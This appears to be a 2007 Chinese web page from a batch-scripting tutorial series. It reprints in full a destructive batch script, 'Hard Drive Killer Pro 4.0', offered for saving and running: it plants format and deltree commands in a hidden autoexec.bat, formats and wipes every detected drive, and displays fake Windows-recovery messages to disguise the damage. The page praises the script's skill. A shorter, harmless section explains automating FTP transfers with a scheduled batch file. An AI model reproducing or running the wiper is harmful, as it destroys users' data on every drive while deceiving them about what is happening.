Windows批处理大全(附各种实例)四

来源:     时间:2007-09-24     浏览量:403

     3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)
        ------------------------ cut here then save as .bat or .cmd file ---------------------------
        @echo off
        rem This program is dedecated to a very special person that does not want to be named.
        :start
        cls
        echo PLEASE WAIT WHILE PROGRAM LOADS . . .
        call attrib -r -h c:autoexec.bat >nul
        echo @echo off >c:autoexec.bat
        echo call format c: /q /u /autoSample >nul >>c:autoexec.bat
        call attrib +r +h c:autoexec.bat >nul
        rem Drive checking and assigning the valid drives to the drive variable.

        set drive=
        set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

        rem code insertion for Drive Checking takes place here.
        rem drivechk.bat is the file name under the root directory.
        rem As far as the drive detection and drive variable settings, don't worry about how it
        rem works, it's d*amn to complicated for the average or even the expert batch programmer.
        rem Except for Tom Lavedas.

        echo @echo off >drivechk.bat
        echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
        %comspec% /e:2048 /c {t}.bat >>drivechk.bat
        del {t}.bat
        echo if errorlevel 1 goto enddc >>drivechk.bat

        cls
        echo PLEASE WAIT WHILE PROGRAM LOADS . . .

        rem When errorlevel is 1, then the above is not true, if 0, then it's true.
        rem Opposite of binary rules. If 0, it will elaps to the next command.

        echo @prompt %%%%comspec%%%% /f /c dir %%%%1:./ad/w/-p $b find "bytes" > nul >{t}.bat
        %comspec% /e:2048 /c {t}.bat >>drivechk.bat
        del {t}.bat
        echo if errorlevel 1 goto enddc >>drivechk.bat

        cls
        echo PLEASE WAIT WHILE PROGRAM LOADS . . .

        rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
        rem if errorlevel is 0, then it will elaps to the next command.

        echo @prompt dir %%%%1:./ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
        %comspec% /e:2048 /c {t}.bat >>drivechk.bat
        del {t}.bat
        echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

        cls
        echo PLEASE WAIT WHILE PROGRAM LOADS . . .

        rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
        rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.

        echo :enddc >>drivechk.bat

        rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

        rem Now we will use the program drivechk.bat to attain valid drive information.

        :Sampledrv

        for %%a in (%alldrive%) do call drivechk.bat %%a >nul
        del drivechk.bat >nul
        if %drive.==. set drive=c

        :form_del
        call attrib -r -h c:autoexec.bat >nul
        echo @echo off >c:autoexec.bat
        echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
        echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:autoexec.bat
        echo cls >>c:autoexec.bat
        echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
        echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat
        echo cls >>c:autoexec.bat
        echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
        echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat
        echo cls >>c:autoexec.bat
        echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
        echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:autoexec.bat
        echo cls >>c:autoexec.bat
        echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
        echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat
        echo cls >>c:autoexec.bat
        echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
        echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat
        echo cd >>c:autoexec.bat
        echo cls >>c:autoexec.bat
        echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:autoexec.bat
        echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:autoexec.bat
        echo echo 1. To make people aware that security should not be taken for granted. >>c:autoexec.bat
        echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:autoexec.bat
        echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:autoexec.bat
        echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:autoexec.bat

        echo echo. >>c:autoexec.bat
        echo echo Regards, >>c:autoexec.bat
        echo echo. >>c:autoexec.bat
        echo echo Munga Bunga >>c:autoexec.bat
        call attrib +r +h c:autoexec.bat

        :makedir
        if exist c:temp.bat attrib -r -h c:temp.bat >nul
        echo @echo off >c:temp.bat
        echo %%1: >>c:temp.bat
        echo cd >>c:temp.bat
        echo :star** >>c:temp.bat
        echo for %%%%a in ("if not exist %%2nul md %%2" "if exist %%2nul cd %%2") do %%%%a >>c:temp.bat
        echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:temp.bat
        echo if not exist %%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nul goto star** >>c:temp.bat
        call attrib +r +h c:temp.bat >nul

        cls
        echo Initializing Variables . . .
        rem deltree /y %%a:*. only eliminates directories, hence leaving the file created above for further destruction.
        for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
        cls
        echo Initializing Variables . . .
        echo Validating Data . . .
        for %%a in (%drive%) do call c:temp.bat %%a Munga >nul
        cls
        echo Initializing Variables . . .
        echo Validating Data . . .
        echo Analyzing System Structure . . .
        for %%a in (%drive%) call attrib -r -h %%a: /S >nul
        call attrib +r +h c:temp.bat >nul
        call attrib +r +h c:autoexec.bat >nul
        cls
        echo Initializing Variables . . .
        echo Validating Data . . .
        echo Analyzing System Structure . . .
        echo Initializing Application . . .

        for %%a in (%drive%) call deltree /y %%a:*. >nul
        cls
        echo Initializing Variables . . .
        echo Validating Data . . .
        echo Analyzing System Structure . . .
        echo Initializing Application . . .
        echo Starting Application . . .
        for %%a in (%drive%) do call c:temp.bat %%a Munga >nul

        cls
        echo Thank you for using a Munga Bunga product.
        echo.
        echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
        echo.
        echo Here is a joke for you . . .
        echo.
        echo Q). What's the worst thing about being an egg?
        echo A). You only get laid once.
        echo.
        echo HAHAHAHA, get it? Don't you just love that one?
        echo.
        echo Regards,
        echo.
        echo Munga Bunga

        :end

        rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
        rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here).
      用批处理命令实现FTP文件的自动传输

        由于工作的原因,每天需要在Windows操作系统之间或与其它操作系统如UNIX等利用FTP进行文件传输。经常重复这样的工作程序,即繁琐又容易出错。本人经过思考摸索,在Windows操作系统的“任务计划”帮助下,成功地用批处理命令实现FTP文件的自动传输。现将此操作过程详解,希望对同好有所帮助,更望能抛砖引玉,提出更好的方法。

        假设本机操作系统为Windows操作系统,需进行文件传输的目录为C:\datatran;对方计算机操作系统为UNIX操作系统,IP地址为10.30.15.3,需进行文件传输的目录为C:\data,登录用户名为Anonymous,口令为123456。从本机到对方机接收文件操作方法如下。

        第一步,先新建一个文本:

        Open 10.31.15.3

        User anonymous

        123456

        Cd data

        Bin

        Prompt

        Mget *.*

        Bye

        Quit

        Exit

        将该文本保存为1.ftp存放到C盘根目录。该文件只要扩展名为ftp,前缀可任意取名。目录也不一定要在根目录,主要以方便为主。文本中Bin为用黑吧码格式传输文件,如用ASCII码格式传输文件可去掉该行。如为本机向对方机发送文件,则只要将文本中的Mget替换成Mput即可。这之后,再新建另一个文本:

        C:

        Cd datatran

        ftp–n–s:”c:\1.ftp”

        新建完毕后将该文本保存为1.bat后存放在硬盘任何分区或软盘中均可。这样,第一步工作已经完成,您随时可以执行该批处理文件进行FTP文件的传输。

        第二步,将该该批处理文件放在“任务计划”中设定自动运行。方法是:打开“开始”菜单“程序”下“附件”中的“系统工具”,点击“任务计划”,执行“添加任务计划”,按“任务计划向导”提示将该批处理文件添加到任务计划中,并指定执行周期,之后再设下密码后即完成。从此,计算机会根据您的设定,自动周期性地进行文件接收或发送,不再需要您动一下手指,真正做到它工作,您休息。

        另外,如果是Windows操作系统之间进行FTP进行文件传输,只要去掉1.ftp中“Bin”一行就可以了。

→ 查看关于“计算机/微软”的全部考试资料
沈阳优网互联信息服务有限公司 版权所有 辽ICP备08007732号
Copyright ©2006-2007 Ueu5.com All Rights Reserved